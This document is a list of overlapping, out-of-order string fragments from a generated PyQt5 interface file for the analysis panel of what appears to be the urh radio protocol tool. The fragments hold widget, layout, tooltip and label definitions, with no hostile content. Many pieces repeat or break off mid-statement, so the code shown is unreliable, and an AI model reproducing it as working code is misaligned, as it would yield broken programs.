"sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lDecodingErrorsValue.sizePolicy().hasHeightForWidth()) self.lDecodingErrorsValue.setSizePolicy(sizePolicy) self.lDecodingErrorsValue.setObjectName(\"lDecodingErrorsValue\") self.verticalLayout.addWidget(self.lDecodingErrorsValue) self.labelDecodingState = QtWidgets.QLabel(self.scrollAreaWidgetContents) self.labelDecodingState.setObjectName(\"labelDecodingState\") self.verticalLayout.addWidget(self.labelDecodingState) self.cbShowDiffs = QtWidgets.QCheckBox(self.scrollAreaWidgetContents)",
"= QtWidgets.QCheckBox(self.scrollAreaWidgetContents) self.chkBoxOnlyShowLabelsInProtocol.setObjectName(\"chkBoxOnlyShowLabelsInProtocol\") self.verticalLayout.addWidget(self.chkBoxOnlyShowLabelsInProtocol) self.btnAnalyze = QtWidgets.QToolButton(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0)",
"self.gridLayout_2.addWidget(self.lTime, 0, 14, 1, 1) self.verticalLayout_3.addLayout(self.gridLayout_2) self.tblViewProtocol = ProtocolTableView(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding)",
"for message\")) self.btnMessagetypeSettings.setToolTip(_translate(\"FAnalysis\", \"Settings for message type\")) self.btnMessagetypeSettings.setText(_translate(\"FAnalysis\", \"...\")) self.btnAddMessagetype.setToolTip(_translate(\"FAnalysis\", \"Add a new",
"a protocol message begins. Additionally the relative time (+ ...) from the previous",
"(+ ...) from the previous message is shown.</p></body></html>\")) self.label_3.setText(_translate(\"FAnalysis\", \"Timestamp:\")) self.lTime.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span",
"self.cbDecoding.addItem(\"\") self.verticalLayout.addWidget(self.cbDecoding) self.lEncodingErrors = QtWidgets.QLabel(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Maximum, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lEncodingErrors.sizePolicy().hasHeightForWidth()) self.lEncodingErrors.setSizePolicy(sizePolicy)",
"self.chkBoxShowOnlyDiffs = QtWidgets.QCheckBox(self.scrollAreaWidgetContents) self.chkBoxShowOnlyDiffs.setObjectName(\"chkBoxShowOnlyDiffs\") self.verticalLayout.addWidget(self.chkBoxShowOnlyDiffs) self.chkBoxOnlyShowLabelsInProtocol = QtWidgets.QCheckBox(self.scrollAreaWidgetContents) self.chkBoxOnlyShowLabelsInProtocol.setObjectName(\"chkBoxOnlyShowLabelsInProtocol\") self.verticalLayout.addWidget(self.chkBoxOnlyShowLabelsInProtocol) self.btnAnalyze = QtWidgets.QToolButton(self.scrollAreaWidgetContents)",
"self.tblLabelValues.horizontalHeader().setDefaultSectionSize(150) self.tblLabelValues.horizontalHeader().setStretchLastSection(True) self.tblLabelValues.verticalHeader().setVisible(False) self.gridLayout.addWidget(self.tblLabelValues, 1, 1, 2, 1) self.listViewLabelNames = ProtocolLabelListView(self.frame) sizePolicy =",
"self.lSearchCurrent.setText(_translate(\"FAnalysis\", \"-\")) self.lSlash.setText(_translate(\"FAnalysis\", \"/\")) self.lSearchTotal.setText(_translate(\"FAnalysis\", \"-\")) self.btnNextSearch.setText(_translate(\"FAnalysis\", \">\")) self.label_2.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Received",
"self.btnMessagetypeSettings.setObjectName(\"btnMessagetypeSettings\") self.horizontalLayout.addWidget(self.btnMessagetypeSettings) self.btnAddMessagetype = QtWidgets.QToolButton(self.frame) icon = QtGui.QIcon.fromTheme(\"list-add\") self.btnAddMessagetype.setIcon(icon) self.btnAddMessagetype.setObjectName(\"btnAddMessagetype\") self.horizontalLayout.addWidget(self.btnAddMessagetype) self.btnRemoveMessagetype =",
"self.stackedWidgetLogicAnalysis.setSizePolicy(sizePolicy) self.stackedWidgetLogicAnalysis.setObjectName(\"stackedWidgetLogicAnalysis\") self.pageButtonAnalyzer = QtWidgets.QWidget() self.pageButtonAnalyzer.setObjectName(\"pageButtonAnalyzer\") self.verticalLayout_5 = QtWidgets.QVBoxLayout(self.pageButtonAnalyzer) self.verticalLayout_5.setContentsMargins(0, 0, 0, 0)",
"_translate = QtCore.QCoreApplication.translate FAnalysis.setWindowTitle(_translate(\"FAnalysis\", \"Frame\")) self.label_5.setText(_translate(\"FAnalysis\", \"Protocols:\")) self.btnSaveProto.setText(_translate(\"FAnalysis\", \"Save current protocol..\")) self.label_4.setText(_translate(\"FAnalysis\", \"Participants:\"))",
"FAnalysis.resize(1372, 907) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(FAnalysis.sizePolicy().hasHeightForWidth()) FAnalysis.setSizePolicy(sizePolicy) FAnalysis.setFocusPolicy(QtCore.Qt.ClickFocus) FAnalysis.setAcceptDrops(True) FAnalysis.setFrameShape(QtWidgets.QFrame.StyledPanel)",
"= QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lTime.sizePolicy().hasHeightForWidth()) self.lTime.setSizePolicy(sizePolicy) self.lTime.setTextFormat(QtCore.Qt.PlainText) self.lTime.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.lTime.setObjectName(\"lTime\") self.gridLayout_2.addWidget(self.lTime, 0, 14,",
"= QtGui.QFont() font.setBold(True) font.setWeight(75) self.lblLabelValues.setFont(font) self.lblLabelValues.setAlignment(QtCore.Qt.AlignCenter) self.lblLabelValues.setObjectName(\"lblLabelValues\") self.gridLayout.addWidget(self.lblLabelValues, 0, 1, 1, 1) self.horizontalLayout",
"import ProtocolLabelListView from urh.ui.views.ProtocolTableView import ProtocolTableView from urh.ui.views.ProtocolTreeView import ProtocolTreeView from . import",
"= QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lblLabelValues.sizePolicy().hasHeightForWidth()) self.lblLabelValues.setSizePolicy(sizePolicy) font = QtGui.QFont() font.setBold(True) font.setWeight(75) self.lblLabelValues.setFont(font)",
"QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lDecimal.sizePolicy().hasHeightForWidth()) self.lDecimal.setSizePolicy(sizePolicy) self.lDecimal.setMaximumSize(QtCore.QSize(16777215, 15)) self.lDecimal.setObjectName(\"lDecimal\") self.horizontalLayout_3.addWidget(self.lDecimal)",
"self.btnAddMessagetype = QtWidgets.QToolButton(self.frame) icon = QtGui.QIcon.fromTheme(\"list-add\") self.btnAddMessagetype.setIcon(icon) self.btnAddMessagetype.setObjectName(\"btnAddMessagetype\") self.horizontalLayout.addWidget(self.btnAddMessagetype) self.btnRemoveMessagetype = QtWidgets.QToolButton(self.frame) icon",
"self.cbProtoView.setSizePolicy(sizePolicy) self.cbProtoView.setObjectName(\"cbProtoView\") self.cbProtoView.addItem(\"\") self.cbProtoView.addItem(\"\") self.cbProtoView.addItem(\"\") self.verticalLayout.addWidget(self.cbProtoView) self.cbDecoding = QtWidgets.QComboBox(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed)",
"self.cbMessagetypes.setEditable(True) self.cbMessagetypes.setInsertPolicy(QtWidgets.QComboBox.NoInsert) self.cbMessagetypes.setObjectName(\"cbMessagetypes\") self.horizontalLayout.addWidget(self.cbMessagetypes) self.btnMessagetypeSettings = QtWidgets.QToolButton(self.frame) icon = QtGui.QIcon.fromTheme(\"preferences-other\") self.btnMessagetypeSettings.setIcon(icon) self.btnMessagetypeSettings.setObjectName(\"btnMessagetypeSettings\") self.horizontalLayout.addWidget(self.btnMessagetypeSettings)",
"style=\\\" font-weight:600;\\\">Received Signal Strength Indicator</span> indicates the average signal power of the current",
"1, 1) self.lblLabelValues = QtWidgets.QLabel(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lblLabelValues.sizePolicy().hasHeightForWidth()) self.lblLabelValues.setSizePolicy(sizePolicy)",
"sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.tblViewProtocol.sizePolicy().hasHeightForWidth()) self.tblViewProtocol.setSizePolicy(sizePolicy) self.tblViewProtocol.setAcceptDrops(True) self.tblViewProtocol.setAutoFillBackground(True) self.tblViewProtocol.setFrameShape(QtWidgets.QFrame.NoFrame) self.tblViewProtocol.setFrameShadow(QtWidgets.QFrame.Sunken) self.tblViewProtocol.setLineWidth(1) self.tblViewProtocol.setAutoScroll(True) self.tblViewProtocol.setDragDropMode(QtWidgets.QAbstractItemView.DropOnly) self.tblViewProtocol.setAlternatingRowColors(True) self.tblViewProtocol.setSelectionMode(QtWidgets.QAbstractItemView.ExtendedSelection) self.tblViewProtocol.setTextElideMode(QtCore.Qt.ElideNone)",
"self.lDecodingErrorsValue.setObjectName(\"lDecodingErrorsValue\") self.verticalLayout.addWidget(self.lDecodingErrorsValue) self.labelDecodingState = QtWidgets.QLabel(self.scrollAreaWidgetContents) self.labelDecodingState.setObjectName(\"labelDecodingState\") self.verticalLayout.addWidget(self.labelDecodingState) self.cbShowDiffs = QtWidgets.QCheckBox(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,",
"1) self.lTime = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lTime.sizePolicy().hasHeightForWidth()) self.lTime.setSizePolicy(sizePolicy) self.lTime.setTextFormat(QtCore.Qt.PlainText)",
"sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.listViewParticipants.sizePolicy().hasHeightForWidth()) self.listViewParticipants.setSizePolicy(sizePolicy) self.listViewParticipants.setObjectName(\"listViewParticipants\") self.verticalLayout.addWidget(self.listViewParticipants) self.cbProtoView = QtWidgets.QComboBox(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0)",
"self.stackedWidgetLogicAnalysis.setObjectName(\"stackedWidgetLogicAnalysis\") self.pageButtonAnalyzer = QtWidgets.QWidget() self.pageButtonAnalyzer.setObjectName(\"pageButtonAnalyzer\") self.verticalLayout_5 = QtWidgets.QVBoxLayout(self.pageButtonAnalyzer) self.verticalLayout_5.setContentsMargins(0, 0, 0, 0) self.verticalLayout_5.setObjectName(\"verticalLayout_5\")",
"self.horizontalLayout_3.addWidget(self.lBits) self.lBitsSelection = QtWidgets.QLineEdit(self.frame_3) self.lBitsSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lBitsSelection.setAcceptDrops(False) self.lBitsSelection.setReadOnly(True) self.lBitsSelection.setObjectName(\"lBitsSelection\") self.horizontalLayout_3.addWidget(self.lBitsSelection) self.lHex = QtWidgets.QLabel(self.frame_3)",
"self.lDecimal.setObjectName(\"lDecimal\") self.horizontalLayout_3.addWidget(self.lDecimal) self.lDecimalSelection = QtWidgets.QLineEdit(self.frame_3) self.lDecimalSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lDecimalSelection.setAcceptDrops(False) self.lDecimalSelection.setReadOnly(True) self.lDecimalSelection.setObjectName(\"lDecimalSelection\") self.horizontalLayout_3.addWidget(self.lDecimalSelection) spacerItem1 =",
"here. To add custom field types use Rightclick -> Edit.\")) self.lblLabelValues.setText(_translate(\"FAnalysis\", \"Label values",
"= QtWidgets.QVBoxLayout(self.frame_2) self.verticalLayout_4.setObjectName(\"verticalLayout_4\") self.splitter_2 = QtWidgets.QSplitter(self.frame_2) self.splitter_2.setOrientation(QtCore.Qt.Horizontal) self.splitter_2.setObjectName(\"splitter_2\") self.frame_4 = QtWidgets.QFrame(self.splitter_2) sizePolicy =",
"self.lHexSelection.setReadOnly(True) self.lHexSelection.setObjectName(\"lHexSelection\") self.horizontalLayout_3.addWidget(self.lHexSelection) self.lDecimal = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lDecimal.sizePolicy().hasHeightForWidth())",
"= QtGui.QIcon.fromTheme(\"document-save\") self.btnSaveProto.setIcon(icon) self.btnSaveProto.setToolButtonStyle(QtCore.Qt.ToolButtonIconOnly) self.btnSaveProto.setObjectName(\"btnSaveProto\") self.horizontalLayout_2.addWidget(self.btnSaveProto) self.verticalLayout.addLayout(self.horizontalLayout_2) self.treeViewProtocols = ProtocolTreeView(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum,",
"self.lBits.setMaximumSize(QtCore.QSize(16777215, 15)) self.lBits.setObjectName(\"lBits\") self.horizontalLayout_3.addWidget(self.lBits) self.lBitsSelection = QtWidgets.QLineEdit(self.frame_3) self.lBitsSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lBitsSelection.setAcceptDrops(False) self.lBitsSelection.setReadOnly(True) self.lBitsSelection.setObjectName(\"lBitsSelection\") self.horizontalLayout_3.addWidget(self.lBitsSelection)",
"1) self.btnPrevSearch = QtWidgets.QToolButton(self.frame_3) self.btnPrevSearch.setEnabled(False) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnPrevSearch.sizePolicy().hasHeightForWidth()) self.btnPrevSearch.setSizePolicy(sizePolicy)",
"QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lHex.sizePolicy().hasHeightForWidth()) self.lHex.setSizePolicy(sizePolicy) self.lHex.setMaximumSize(QtCore.QSize(16777215, 15)) self.lHex.setObjectName(\"lHex\") self.horizontalLayout_3.addWidget(self.lHex)",
"QtWidgets.QLabel(self.scrollAreaWidgetContents) self.label_5.setObjectName(\"label_5\") self.horizontalLayout_2.addWidget(self.label_5) self.btnSaveProto = QtWidgets.QToolButton(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnSaveProto.sizePolicy().hasHeightForWidth())",
"sizePolicy.setHeightForWidth(self.btnNextSearch.sizePolicy().hasHeightForWidth()) self.btnNextSearch.setSizePolicy(sizePolicy) self.btnNextSearch.setMaximumSize(QtCore.QSize(20, 16777215)) icon = QtGui.QIcon.fromTheme(\"go-next\") self.btnNextSearch.setIcon(icon) self.btnNextSearch.setObjectName(\"btnNextSearch\") self.gridLayout_2.addWidget(self.btnNextSearch, 0, 7, 1,",
"the average signal power of the current message.</p></body></html>\")) self.lblRSSI.setText(_translate(\"FAnalysis\", \"1.04\")) self.label_3.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span",
"\"Decoding errors for message:\")) self.lDecodingErrorsValue.setText(_translate(\"FAnalysis\", \"0 (0.00%) \")) self.labelDecodingState.setText(_translate(\"FAnalysis\", \"SUCCESS\")) self.cbShowDiffs.setText(_translate(\"FAnalysis\", \"Mark diffs",
"self.treeViewProtocols.setDragDropMode(QtWidgets.QAbstractItemView.DragDrop) self.treeViewProtocols.setDefaultDropAction(QtCore.Qt.IgnoreAction) self.treeViewProtocols.setObjectName(\"treeViewProtocols\") self.treeViewProtocols.header().setVisible(False) self.verticalLayout.addWidget(self.treeViewProtocols) self.label_4 = QtWidgets.QLabel(self.scrollAreaWidgetContents) self.label_4.setObjectName(\"label_4\") self.verticalLayout.addWidget(self.label_4) self.listViewParticipants = QtWidgets.QListView(self.scrollAreaWidgetContents)",
"average signal power of the current message.</p></body></html>\")) self.label_2.setText(_translate(\"FAnalysis\", \"RSSI:\")) self.lblRSSI.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\"",
"self.btnPrevSearch.setMaximumSize(QtCore.QSize(20, 16777215)) icon = QtGui.QIcon.fromTheme(\"go-previous\") self.btnPrevSearch.setIcon(icon) self.btnPrevSearch.setObjectName(\"btnPrevSearch\") self.gridLayout_2.addWidget(self.btnPrevSearch, 0, 3, 1, 1) self.lSearchCurrent",
"signal power of the current message.</p></body></html>\")) self.label_2.setText(_translate(\"FAnalysis\", \"RSSI:\")) self.lblRSSI.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Received",
"self.gridLayout_2.addWidget(self.lFilterShown, 0, 2, 1, 1) self.btnPrevSearch = QtWidgets.QToolButton(self.frame_3) self.btnPrevSearch.setEnabled(False) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed)",
"QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.tblLabelValues.sizePolicy().hasHeightForWidth()) self.tblLabelValues.setSizePolicy(sizePolicy) self.tblLabelValues.setAlternatingRowColors(True) self.tblLabelValues.setShowGrid(False) self.tblLabelValues.setObjectName(\"tblLabelValues\") self.tblLabelValues.horizontalHeader().setVisible(True) self.tblLabelValues.horizontalHeader().setCascadingSectionResizes(False) self.tblLabelValues.horizontalHeader().setDefaultSectionSize(150) self.tblLabelValues.horizontalHeader().setStretchLastSection(True) self.tblLabelValues.verticalHeader().setVisible(False)",
"0, 1, 1) self.btnSearchSelectFilter = QtWidgets.QToolButton(self.frame_3) self.btnSearchSelectFilter.setPopupMode(QtWidgets.QToolButton.MenuButtonPopup) self.btnSearchSelectFilter.setToolButtonStyle(QtCore.Qt.ToolButtonTextOnly) self.btnSearchSelectFilter.setObjectName(\"btnSearchSelectFilter\") self.gridLayout_2.addWidget(self.btnSearchSelectFilter, 0, 1, 1,",
"self.splitter = QtWidgets.QSplitter(FAnalysis) self.splitter.setOrientation(QtCore.Qt.Vertical) self.splitter.setObjectName(\"splitter\") self.frame_2 = QtWidgets.QFrame(self.splitter) self.frame_2.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_2.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_2.setObjectName(\"frame_2\") self.verticalLayout_4 =",
"0, 7, 1, 1) spacerItem = QtWidgets.QSpacerItem(60, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.gridLayout_2.addItem(spacerItem, 0, 8,",
"\"<html><head/><body><p>Set the desired view here.</p></body></html>\")) self.cbProtoView.setItemText(0, _translate(\"FAnalysis\", \"Bits\")) self.cbProtoView.setItemText(1, _translate(\"FAnalysis\", \"Hex\")) self.cbProtoView.setItemText(2, _translate(\"FAnalysis\",",
"\"Decimal:\")) self.lNumSelectedColumns.setText(_translate(\"FAnalysis\", \"0\")) self.lColumnsSelectedText.setText(_translate(\"FAnalysis\", \"Column(s) selected\")) self.label.setText(_translate(\"FAnalysis\", \"Message type:\")) self.listViewLabelNames.setToolTip(_translate(\"FAnalysis\", \"Manage your estimations",
"QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSlash.sizePolicy().hasHeightForWidth()) self.lSlash.setSizePolicy(sizePolicy) self.lSlash.setAlignment(QtCore.Qt.AlignCenter) self.lSlash.setObjectName(\"lSlash\") self.gridLayout_2.addWidget(self.lSlash, 0,",
"self.label_5 = QtWidgets.QLabel(self.scrollAreaWidgetContents) self.label_5.setObjectName(\"label_5\") self.horizontalLayout_2.addWidget(self.label_5) self.btnSaveProto = QtWidgets.QToolButton(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0)",
"protocol message begins. Additionally the relative time (+ ...) from the previous message",
"= QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Maximum, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lEncodingErrors.sizePolicy().hasHeightForWidth()) self.lEncodingErrors.setSizePolicy(sizePolicy) self.lEncodingErrors.setObjectName(\"lEncodingErrors\") self.verticalLayout.addWidget(self.lEncodingErrors) self.lDecodingErrorsValue = QtWidgets.QLabel(self.scrollAreaWidgetContents) sizePolicy",
"\" qproperty-alignment: AlignCenter;\\n\" \"}\") self.lSearchTotal.setObjectName(\"lSearchTotal\") self.gridLayout_2.addWidget(self.lSearchTotal, 0, 6, 1, 1) self.btnNextSearch = QtWidgets.QToolButton(self.frame_3)",
"sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lHex.sizePolicy().hasHeightForWidth()) self.lHex.setSizePolicy(sizePolicy) self.lHex.setMaximumSize(QtCore.QSize(16777215, 15)) self.lHex.setObjectName(\"lHex\") self.horizontalLayout_3.addWidget(self.lHex) self.lHexSelection",
"sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnSaveProto.sizePolicy().hasHeightForWidth()) self.btnSaveProto.setSizePolicy(sizePolicy) self.btnSaveProto.setMaximumSize(QtCore.QSize(16777215, 16777215)) self.btnSaveProto.setBaseSize(QtCore.QSize(0, 0)) icon = QtGui.QIcon.fromTheme(\"document-save\") self.btnSaveProto.setIcon(icon) self.btnSaveProto.setToolButtonStyle(QtCore.Qt.ToolButtonIconOnly) self.btnSaveProto.setObjectName(\"btnSaveProto\")",
"self.treeViewProtocols.setObjectName(\"treeViewProtocols\") self.treeViewProtocols.header().setVisible(False) self.verticalLayout.addWidget(self.treeViewProtocols) self.label_4 = QtWidgets.QLabel(self.scrollAreaWidgetContents) self.label_4.setObjectName(\"label_4\") self.verticalLayout.addWidget(self.label_4) self.listViewParticipants = QtWidgets.QListView(self.scrollAreaWidgetContents) sizePolicy =",
"0) self.verticalLayout_6.setObjectName(\"verticalLayout_6\") self.progressBarLogicAnalyzer = QtWidgets.QProgressBar(self.pageProgressBar) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.progressBarLogicAnalyzer.sizePolicy().hasHeightForWidth()) self.progressBarLogicAnalyzer.setSizePolicy(sizePolicy)",
"icon = QtGui.QIcon.fromTheme(\"list-add\") self.btnAddMessagetype.setIcon(icon) self.btnAddMessagetype.setObjectName(\"btnAddMessagetype\") self.horizontalLayout.addWidget(self.btnAddMessagetype) self.btnRemoveMessagetype = QtWidgets.QToolButton(self.frame) icon = QtGui.QIcon.fromTheme(\"list-remove\") self.btnRemoveMessagetype.setIcon(icon)",
"self.cbShowDiffs = QtWidgets.QCheckBox(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbShowDiffs.sizePolicy().hasHeightForWidth()) self.cbShowDiffs.setSizePolicy(sizePolicy) self.cbShowDiffs.setObjectName(\"cbShowDiffs\") self.verticalLayout.addWidget(self.cbShowDiffs)",
"sizePolicy.setHeightForWidth(self.lSearchCurrent.sizePolicy().hasHeightForWidth()) self.lSearchCurrent.setSizePolicy(sizePolicy) self.lSearchCurrent.setStyleSheet(\"QLabel\\n\" \"{\\n\" \" qproperty-alignment: AlignCenter;\\n\" \"}\") self.lSearchCurrent.setObjectName(\"lSearchCurrent\") self.gridLayout_2.addWidget(self.lSearchCurrent, 0, 4, 1,",
"self.lSlash.setSizePolicy(sizePolicy) self.lSlash.setAlignment(QtCore.Qt.AlignCenter) self.lSlash.setObjectName(\"lSlash\") self.gridLayout_2.addWidget(self.lSlash, 0, 5, 1, 1) self.lSearchTotal = QtWidgets.QLabel(self.frame_3) sizePolicy =",
"\"Analyze\")) self.lineEditSearch.setPlaceholderText(_translate(\"FAnalysis\", \"Search Pattern\")) self.btnSearchSelectFilter.setText(_translate(\"FAnalysis\", \"Search\")) self.lFilterShown.setText(_translate(\"FAnalysis\", \"shown: 42/108\")) self.btnPrevSearch.setText(_translate(\"FAnalysis\", \"<\")) self.lSearchCurrent.setText(_translate(\"FAnalysis\", \"-\"))",
"QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSearchTotal.sizePolicy().hasHeightForWidth()) self.lSearchTotal.setSizePolicy(sizePolicy) self.lSearchTotal.setStyleSheet(\"QLabel\\n\" \"{\\n\" \" qproperty-alignment: AlignCenter;\\n\" \"}\") self.lSearchTotal.setObjectName(\"lSearchTotal\") self.gridLayout_2.addWidget(self.lSearchTotal,",
"0, 5, 1, 1) self.lSearchTotal = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0)",
"this file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets class Ui_FAnalysis(object):",
"QtGui.QIcon.fromTheme(\"go-next\") self.btnNextSearch.setIcon(icon) self.btnNextSearch.setObjectName(\"btnNextSearch\") self.gridLayout_2.addWidget(self.btnNextSearch, 0, 7, 1, 1) spacerItem = QtWidgets.QSpacerItem(60, 20, QtWidgets.QSizePolicy.Expanding,",
"self.lTime.setTextFormat(QtCore.Qt.PlainText) self.lTime.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.lTime.setObjectName(\"lTime\") self.gridLayout_2.addWidget(self.lTime, 0, 14, 1, 1) self.verticalLayout_3.addLayout(self.gridLayout_2) self.tblViewProtocol = ProtocolTableView(self.frame_3) sizePolicy",
"self.btnMessagetypeSettings.setIcon(icon) self.btnMessagetypeSettings.setObjectName(\"btnMessagetypeSettings\") self.horizontalLayout.addWidget(self.btnMessagetypeSettings) self.btnAddMessagetype = QtWidgets.QToolButton(self.frame) icon = QtGui.QIcon.fromTheme(\"list-add\") self.btnAddMessagetype.setIcon(icon) self.btnAddMessagetype.setObjectName(\"btnAddMessagetype\") self.horizontalLayout.addWidget(self.btnAddMessagetype) self.btnRemoveMessagetype",
"sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSlash.sizePolicy().hasHeightForWidth()) self.lSlash.setSizePolicy(sizePolicy) self.lSlash.setAlignment(QtCore.Qt.AlignCenter) self.lSlash.setObjectName(\"lSlash\") self.gridLayout_2.addWidget(self.lSlash, 0, 5, 1, 1) self.lSearchTotal = QtWidgets.QLabel(self.frame_3)",
"self.gridLayout.addWidget(self.listViewLabelNames, 2, 0, 1, 1) self.lblLabelValues = QtWidgets.QLabel(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0)",
"sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnAnalyze.sizePolicy().hasHeightForWidth()) self.btnAnalyze.setSizePolicy(sizePolicy) self.btnAnalyze.setPopupMode(QtWidgets.QToolButton.MenuButtonPopup) self.btnAnalyze.setToolButtonStyle(QtCore.Qt.ToolButtonTextOnly) self.btnAnalyze.setObjectName(\"btnAnalyze\") self.verticalLayout.addWidget(self.btnAnalyze) self.stackedWidgetLogicAnalysis = QtWidgets.QStackedWidget(self.scrollAreaWidgetContents) sizePolicy =",
